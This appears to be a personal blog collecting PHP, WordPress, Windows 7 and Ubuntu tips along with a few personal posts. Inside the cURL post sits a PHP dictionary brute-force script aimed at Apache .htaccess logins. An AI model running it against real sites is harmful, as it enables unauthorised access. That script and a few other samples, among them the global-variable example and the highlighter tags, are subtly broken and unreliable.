twitter
    Find out what I'm doing, Follow Me :)
If you have any question, suggestion or article topic for me to write, feel free to contact me through my shout box. ;) Some time I need an idea to write. hehe Hopefully I can help you and share my expertise.

better checkbox click with label

Normally we put text after checkbox to give more info for that checkbox like this


Remember info?



Remember info?
However, user can't click on that Remember info? text to check or uncheck that checkbox by using this method.

Here is the enhancement for that problem.





Instead of using normal text, we are using label and for tag. for tag inside label element attribute is refer to which checkbox.Then, when you click on remember info?.. the checkbox will checked/unchecked accordingly.

what is <<< symbol in php?

finally I know this <<< symbol meaning. It's called Heredoc. You can get more info from php.net http://www.php.net/manual/en/language.types.string.php#language.types.string.syntax.heredoc

php curlhow to post using curl

curl is a command line tool for transferring files with URL syntax. cURL supporting a large internet protocol such as HTTP POST, HTTP PUT, FTP etc.

libcurl is a free and easy-to-use client-side URL transfer library, supporting FTP, FTPS, HTTP, HTTPS, SCP, SFTP, TFTP, TELNET, DICT, LDAP, LDAPS and FILE. libcurl supports SSL certificates, HTTP POST, HTTP PUT, FTP uploading, HTTP form based upload, proxies, cookies, user+password authentication (Basic, Digest, NTLM, Negotiate, Kerberos4), file transfer resume, http proxy tunneling and more!

PHP supports libcurl, a library created by Daniel Stenberg, that allows you to connect and communicate to many different types of servers with many different types of protocols.


How to submit form post using cUrl?


Submit form post using cUrl is pretty simple.
$url = 'http://mydomain.com/';
$postdata = "Submit=Install%20WordPress&admin_email=" . $wp_admin_email . "&blog_public=1&weblog_title=" . $wp_title;
$ch = curl_init();
curl_setopt ($ch, CURLOPT_URL, $url . "wp-admin/install.php?step=2");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, FALSE);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.6) Gecko/20070725 Firefox/2.0.0.6");
curl_setopt ($ch, CURLOPT_TIMEOUT, 60);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_COOKIEJAR, $cookie);
curl_setopt ($ch, CURLOPT_REFERER, $url . "wp-admin/install.php");
curl_setopt ($ch, CURLOPT_POSTFIELDS, $postdata);
curl_setopt ($ch, CURLOPT_POST, 1);
$result = curl_exec ($ch);
curl_close($ch);


I create this sample code to sent a post into wordpress install.php without open that page manually. It's mean I can sent a form post from outside of the target domain and display the result from my execute code.

Others thing that cUrl can do?


cURL Brute Force Script

The following cURL script can be used to brute force Apache .htaccess authentication:
$url = "http://www.example.com/admin/";    // Set the URL to be bruteforced
$ref = "http://www.example.com/index.php"; // Set the referrer to spoof
$denied = "Forbidden"; // Set the "Denied" output
$wordlist = "/var/www/wordlist.txt"; // Set the wordlist location
set_time_limit( 0 ); // Set script execution limit. 0 = no limit

$ch = curl_init( ); // Initialise cURL
curl_setopt( $ch, CURLOPT_URL, $url ); // Set URL as $url
curl_setopt( $ch, CURLOPT_RETURNTRANSFER,1 ); // Set RETURNTRANSFER to TRUE
curl_setopt( $ch, CURLOPT_FOLLOWLOCATION,1 ); // Set FOLLOWLOCATION to TRUE

foreach( file( $wordlist ) as $password ) // Start the loop for dictionary attack
{
$force = "http://admin:{$password}@www.example.com/admin/"; // Set the URL to attack,
curl_setopt( $ch, CURLOPT_URL, $url ); // Load the URL to attack with cURL
$check = curl_exec( $ch ); // Set params to check
if( !eregi( $denied, $check ) ) // Check to see if $denied is not in page
{
die( "Success! The password is: {$password}" ); // If $denied returns false, success
}
}
curl_close( $ch ); // Close the cURL process

customize wordpress installation

How to custom install wordpress?. I'm currently work with wordpress custom installation. My objective is to make wordpress automatically install and activate plugin when I install new wordpress file. If you asking it is possible?. My answer is YES.. it is.

How to create custom wordpress installation?


1. If you install wordpress file, by default wordpress will execute install.php under wp-admin/install.php and then execute upgrade.php under wp-admin/includes/upgrade.php
2. open upgrade.php file and you can see at line 11.
/** Include user install customize script. */
if ( file_exists(WP_CONTENT_DIR . '/install.php') )
require (WP_CONTENT_DIR . '/install.php');

the script will check whether there is install.php file in the wp-content/ . If have, it will execute this script first.
3. to use custom script, you need to create install.php file in the wp-content/install.php
4. you may create wp_install() function inside wp-content/install.php to override n wp_install() at wp-admin/includes/upgrade.php . you can add whatever you want like automatically install/activate plugin, change default theme etc here without make any changes at original upgrade.php code.

what does & ( ampersand ) simbol infront of variable means in php

Prior to PHP5, when you created an object from a class in PHP, that object would be passed into other variables by value. The object was NOT a reference, as is standard in most other object oriented (Java, C#, etc.) languages.

However, by instantiating a class with an ampersand in front of it, you could create a reference to the returned object, and it would behave like an object in other languages. This was a common technique prior to PHP5 to achieve OOP like effects and/or improve performance.

eg
$foo = 'bar';
$baz = &$foo;

echo $foo //bar
echo $baz //bar

$foo = 'foobazbar';
echo $foo //foobazbar
echo $baz //foobazbar



ref
http://www.php.net/manual/en/language.references.whatdo.php
http://us3.php.net/manual/en/language.references.pass.php

windows 7 installation failed ..keep reboot

I finally manage to install windows 7 after wasting a few hour to configure the "windows can't complete installation cause of keep rebooting" upon installation. My system is AMD64 Athlon with 1.5 GB Memory.

Firstly I try to install windows 7 64bit. My installation process can't complete. It's keep booting after installation in the final stage.Then I try several time... I reset my bios... delete partition and still no luck. Then I try windows 7 32bit, just to test whether it's 64bit problem.. The result is still same.. keep booting after installation at the final stage.

Then I try check step by step.. here is my solution
1. Press F8 to pull up advanced boot menu
2. Select Enable low-resolution video (640×480)
3. proceed the installation process...

you need to do this untill you windows 7 installation is complete and you can login into your windows.

after login, you need to update your VGA drive for the higher resolution.

This error is cause by windows 7 use high resolution as a default.

What does @ symbol mean in PHP code?

Adding the "@" symbol in front of any function call will suppress any PHP-generated error messages from that function call. That means that if that function generates a non-fatal error (warning) it will not display the warning message in your HTML, rather just return false and let the program cope with it.

an example
$contents = @file_get_contents($file_source);


more info http://www.php.net/manual/en/language.operators.errorcontrol.php

getting an unwanted sub menu item in wordpress when using add_submenu_page

We are currently doing project in wordpress environment. In that project, we deal with customization administration menu which it bring us to seek for menu creation using add_menu_page and add_submenu_page function.

here is properties for that functions
add_menu_page(page_title, menu_title, access_level/capability, file, [function], [icon_url]);
add_submenu_page(parent, page_title, menu_title, access_level/capability, file, [function]); basename(__FILE__)


by the way. when we create submenu using add_submenu_page function, we had unwanted sub menu item appear in the first submenu. this submenu is same as main menu like this..


Menu Tile
-Menu Title
-Sub Menu Title 1
-Sub Menu Title 2


we don't want Menu Title appear as a submenu. After googling, I found that other people also got a same problem. I do a research and debugging and finally I got the solution.

add_menu_page('Menu Title', 'Menu Title', 10, 'main_menu', 'sub_menu_1_callback');
add_submenu_page('main_menu', 'Sub Menu Title 1', 'Sub Menu Title 1', 10,  'main_menu' , 'sub_menu_1_callback');
add_submenu_page('main_menu', 'Sub Menu Title 2', 'Sub Menu Title 2', 10, 'sub_menu' , 'sub_menu_2_callback');


It's pretty simple.. just to make sure the first submenu file name is same as their parent file name. In my case, look at first add_submenu_page function file name, main_menu . I put same name as add_menu_page function file name.


Download Wordpress Submenu Sample Plugin

list all hooked wordpress function

This code originally create by rarst
function list_hooked_functions($tag=false){
        global $wp_filter;
        if ($tag) {
            $hook[$tag]=$wp_filter[$tag];
            if (!is_array($hook[$tag])) {
                trigger_error("Nothing found for '$tag' hook", E_USER_WARNING);
                return;
            }
        } else {
            $hook=$wp_filter;
            ksort($hook);
        }
        echo '<pre>';
        foreach($hook as $tag => $priority){
            echo "<br />>>>>>\t<strong>$tag</strong><br />";
            ksort($priority);
            foreach($priority as $priority => $function){
                echo $priority;
                foreach($function as $name => $properties) echo "\t$name<br />";
            }
        }
        echo '</pre>';
        return;
    }

php create function on the fly

I'm currently studying wordpress code becoz I need to hack theme preview.I want change CSS style when preview themes function called. Current wordpress method, they'll read style.css by theme name but I don't want to do that since I develop a library for CSS Style. During hacking process, I realize this code
add_filter('stylesheet', create_function('', "return '{$_GET['stylesheet']}';") );

Not add_filter daaa. can you see create_function( inside add_filter ?

Then I ask google by using keyword php create_function and found this result. wah... so easy to create function on the fly using php.

php how to get real path for virtual directory

for the normal site you can use
echo $_SERVER['DOCUMENT_ROOT'];

to get absolute path of root.
I had a problem to get absolute path when I put my code inside virtual/alias directory. when I use echo $_SERVER['DOCUMENT_ROOT']; , it will return absolute path for document root. Not my virtual directory.

How ever, here is the solution for my problem.
echo realpath('./');

Installing ubuntu on Virtual PC 2007

How to install ubuntu on Virtual PC 2007.

Step 1
After you install Virtual PC 2007, open it and start your ubuntu virtual file.


If you want to change virtual PC settings, just click on Settings button and you will find some configuration for your virtual PC like a hardisk space, memory and etc.


Step 2
After you start your ubuntu virtual file, go to CD->Use physical drive if you want to install it from your cd rom or CD->Capture ISO Image if you want to install directly from ISO file.



Step 3
Reboot your Virtual PC by Right Alt + R or go to Action->Reset menu.Wait untill your Virtual PC boot from your CDRom/ISO.

Step 4
Here you go. Installing ubuntu on Virtual PC 2007 will start from here. Select your prefered language and press Enter to continue.


Step 5
press F6 and enter vga=771 noreplace-paravirt at the end of the line. Press Enter to continue.


Step 6
Choose your language and press Enter to continue and then choose country.


Step 7
Installer will ask your keyboard layout. From this screen, you need to follow screen instruction


Step 8
Enter your host name, this is your ubuntu computer name. can be your name and anything.press Enter to continue and follow your screen instruction.


Step 9
Partitioning disk. select Guided - Select Entire Disk and press Enter to continue. Please bare in mind, this partitioning disk is virtually partitioning and do not effect your physical disk. So don't be scared... your data will not be deleted.


Step 10
Even tho this screen mentioned that your data will be erased, don't be scared. ;) it happen virtually only. But if you Install ubuntu into real PC, you must take a consideration.


Step 11
Select Yes and press Enter.


Step 12
Setup user account and username.



Step 13
Choose whether you want to encrypt your private directory or not


Step 14
Configuring package manager. Just press Enter key to continue.


Step 15
Configure update setting


Step 16
Since we're installing ubuntu server, we need to choose software to install in that server. I'm choosing mail server for this purpose.press Enter to continue.Just a few step ahead for Installing ubuntu on Virtual PC 2007.



Step 17
Taraaaa! almost done.


but not really done. There are a few step after installation finish. Fix ubuntu screen on Virtual PC 2007

Can I install multiple OS in one computer without reboot?

The answer is yes. You can use virtual machine to do that. Virtual Machine is a software implementation of a machine (computer) that executes programs like a real machine. In layman term, you can install OS virtually in one computer with capability same as a real computer.. err. can understand or not ??. :) . The most popular virtual machine is VMWare and you can download it free at vmware.com.

There are a lot of Virtual Machine out there from open source license as well as proprietary. You may see comparison of platform virtual machine to help you made a decisions which Virtual Machine is suitable with your needs.

How ever, I would like to share with you how to install ubuntu in MS Virtual PC 2007.

First of all, you need to download Microsoft Virtual PC 2007 and Ubuntu ISO from their respective site. If your internet connection is too slow, you can get a free DVD copy of ubuntu installer from ubuntu request a free cd site. No option for Microsoft Virtual PC 2007, you need to download it with approximate size 30.4MB. Otherwise you can get your friend to help you download it for you or go to cyber cafe and download it. Both file are free.

For this tutorial I will use MS Windows XP as a host, MS Virtual PC 2007 and Ubuntu 8.10 Server Edition.

Step 1
Install MS Virtual PC 2007 . click on setup.exe and follow the installation instruction.



Step 2

Configure virtual pc 2007 to install ubuntu. Click on Microsoft Virtual PC icon in your program files. Since this is your first time, then you need to configure new.



click next and select "Create a virtual machine" radio button. After that, click next.



Named your virtual machine file. You can change virtual machine file location by click on browse button. After that, click next.



Choose operating system from combo box. Choose other since we will install ubuntu then click next.



Allocate RAM for your virtual machine.



Create virtual harddisk for your virtual machine. You can choose an existing virtual harddisk if you already have it. In this tutorial, I'll choose "a new virtual hard disk" option. After that, click next.



You can change virtual harddisk name and location by click on browse button. In the virtual harddisk size input box, you can decide your virtual harddisk size in MB. After that, click next.



You are almost done!. click finish.



Next... How to install Ubuntu in Virtual PC 2007.

how to use wp_ajax in wordpress

last weekend I try to implement ajax in wordpress plugin. The problem is, there is no reference that I can get from wordpress wiki as well as their documentation to show the detail of how to use wp_ajax in wordpress.

How ever, here is the solution that i get how to use wp_ajax in wordpress.
Step 1.
You need to create callback function to handle ajax ( wp_ajax ) request.
function my_ajax_update(){
 if (isset($_POST['c'])){
     //you can do what ever here
 }
}


Step 2.
create add_action using wp_ajax hook.
add_action("wp_ajax_your_action_name", "my_ajax_update");

your_action_name is action name that you'll submit using ajax post or get in Step 3.

Step 3.
on jQuery post..
url_action = \'' . get_bloginfo('wpurl') . '/wp-admin/admin-ajax.php\';
jQuery.post( url_action ,  { action:"your_action_name",c:"True" } ,function(data){ 
//your return result             
                });


continue... next post I will show you the full plugin code.

so exhausted today

I feel so exhausted today. Yesterday my motorcycle breakdown and need to overhaul.I leave my motorcycle at the workshop near MRR2 at Jalan Kuari. I plan to get my motorcycle today but canceled. Maybe I go there tomorrow.

how to use syntax highlighter in blogspot

Last night I was searching syntax highlighter to make my sample code look nice and easy to read. I was googling using "blogspot syntax highlighter" keyword and found this website. This library was developed by Alex Gorbatchev and look nice for me. It's fully developed in Javascript which is compatible with all web scripting language.

I had an experience using Geshi before found SyntaxHighlighter library. Geshi is another excellent library for syntax highlighter. It's also have more supported language compared with SyntaxHighlighter. Why i didn't use Geshi?. actually there is no good reason.. just want to try SyntaxHighlighter and share with you all ;)

Alex also provide hosted library for user who are using hosted service like a blogger. His kindness make me easy to use his library.

hosted file located in http://alexgorbatchev.com/pub/sh/[VERSION].

by the way, here is the step how to use his library
Step 1.
copy below code and paste it in your template file before </head>
<link href="http://alexgorbatchev.com/pub/sh/current/styles/shCore.css" rel="stylesheet" type="text/css">
<link href="http://alexgorbatchev.com/pub/sh/current/styles/shThemeRDark.css" rel="stylesheet" type="text/css">
<script language="javascript" src="http://alexgorbatchev.com/pub/sh/current/scripts/shCore.js"><br /><script language="'javascript'" src="'http://alexgorbatchev.com/pub/sh/current/scripts/shBrushPhp.js'/">


shBrushPhp.js and shThemeRDark.css is optional depending on what language and theme that you want to use in syntax highlighter. For more detail you may take a look at bundled syntaxes and bundled theme.


Copy below code and paste it before </script>
<script type='text/javascript'>
//<![CDATA[
function FindTagsByName(container, className, tagName)
{
var elements = document.getElementsByTagName(tagName);
for (var i = 0; i < elements.length; i++)
{
   var tagClassName = elements[i].className;
   if (tagClassName != null && tagClassName.search(className) == 0)
   {
      container.push(elements[i]);
   }
}
}

var elements = [];
FindTagsByName(elements, "brush:", "pre");
FindTagsByName(elements, "brush:", "textarea");

for(var i=0; i < elements.length; i++)
{
if(elements[i].nodeName.toUpperCase() == "TEXTAREA") {
   var childNode = elements[i].childNodes[0];
   var newNode = document.createTextNode(childNode.nodeValue.replace(/<br\s*\/?>/gi,'\n'));
   elements[i].replaceChild(newNode, childNode);
}
else if(elements[i].nodeName.toUpperCase() == "PRE") {
   brs = elements[i].getElementsByTagName("br");
   for(var j = 0, brLength = brs.length; j < brLength; j++)
   {
       var newNode = document.createTextNode("\n");
       elements[i].replaceChild(newNode, brs[0]);
   }
}
}
SyntaxHighlighter.all();
//]]>


wacha..... done

how to use it?.. type in your html editor
<pre class="brush: php">

//your php code here

</pre>


<pre class="brush: delphi">

//your delphi code here

</pre>

php global variable

Last week I got an email from someone need my help to solve her problem. She asking me why there is no result when she do echo inside function.

this is an example code to illustrate her problem.

$lang = 'bahasa melayu';
function test(){
   echo $lang;
}
test();
actually the problem is in variable declaration. The first $lang variable is a global scope variable while second $lang variable reference to local scope variable.

$lang = 'bahasa melayu'; //global scope variable
function test(){
   echo $lang; //local scope variable
}

test(); //return ''
To solve this problem you need to declare local scope variable as global.

$lang = 'bahasa melayu'; //global scope variable
function test(){
   GLOBAL $lang;  //declare $lang as a global variable
   echo $lang; //reference to global scope variable
}

test(); //return 'bahasa melayu'
others solution, you may sent variable into function parameter as an example below

$lang = 'bahasa melayu'; //global scope variable
function test($param){
   echo $param;
}

test(); //return 'bahasa melayu'
Happy coding ;)

hear back from

Opps .. this is not about a geek world, but It's about a language. ;)

hear back from someone
receive a reply from someone

Normally I'm using "reply from" but from the book I read there are using hear back from.

An example
1. "I emailed Mat Nur yesterday. I hope to hear back from him soon"
2. "A: Did you get the job?
B: No. I had an interview but I never heard back from the company"

php parse string as variable

Yesterday I blog about variable variables . By adding double sign dollar $$ we can make a string as a variable.What going to happen if I have set of variable in one string?. I got this problem when I'm using jQuery nested sortable plugin in my daily coding. yeah, nestedsortable plugin have a serialize function to get all element. I can use jQuery post or get to send this paremeter to process using ajax but I don't want to do that because I need to do other entry first before sending all variables at one time.

my problem is, the serialize hash format is like this
$str = "list_container[0][id]=1&list_container[1][id]=2
&list_container[1][children][0][id]=3
&list_container[1][children][0][children][0][id]=4
&list_container[1][children][0][children][1][id]=5";
at first I'm thinking to use explode function to split a string by using ampersand '&' and = as a delimiter and variable variables to get a variable but I think it's not so effective. Then I ask uncle google what others people do to solve this problem.Yeah, I like google... one of the search result is by using parse_str. It's so easy and this is what I want.

How to use parse_str?.
$str = "list_container[0][id]=1&list_container[1][id]=2
&list_container[1][children][0][id]=3
&list_container[1][children][0][children][0][id]=4
&list_container[1][children][0][children][1][id]=5";
parse_str($str);

//Now parse_str function will return string value as an array set.
//I can get the value by using $list_container as a variable
var_dump($list_container);
You can download sample file :How to use parse_str in form post

php variable variables

I'm sure, some time we need to create variable dynamically. the normal variable declaration in PHP is starting with dollar signs $ .
an example
$fruit = 'banana';
$fruit is a variable when 'banana' is a string value for that variable. when we do echo $fruit, the result is 'banana'.
an example
$fruit = 'banana';
echo $fruit;
//result : banana
This is a static variable. How about when I want to create new variable in a run time?. You can do it by adding double dollar sign
an example
$fruit = 'banana';
$$fruit = 'durian';
echo $banana;
//result : durian

You can download sample file : How to use variable variables in php
more information

Shhhhh don't tel anybody

hahaha... finally I decided to start blogging again. mmmp. actually this spirit comes after I attended global internet seminar last weekend. The seminar is 3 days seminar starting from Friday 19 to Sunday. Actually my bos register me and my colleague to attend that seminar.all about the seminar, you can go to my colleague web.

by the way.. I write this blog not to promote internet marketing and making money online.. but more on sharing my knowledge and finding beside to improve my writing skill and my English.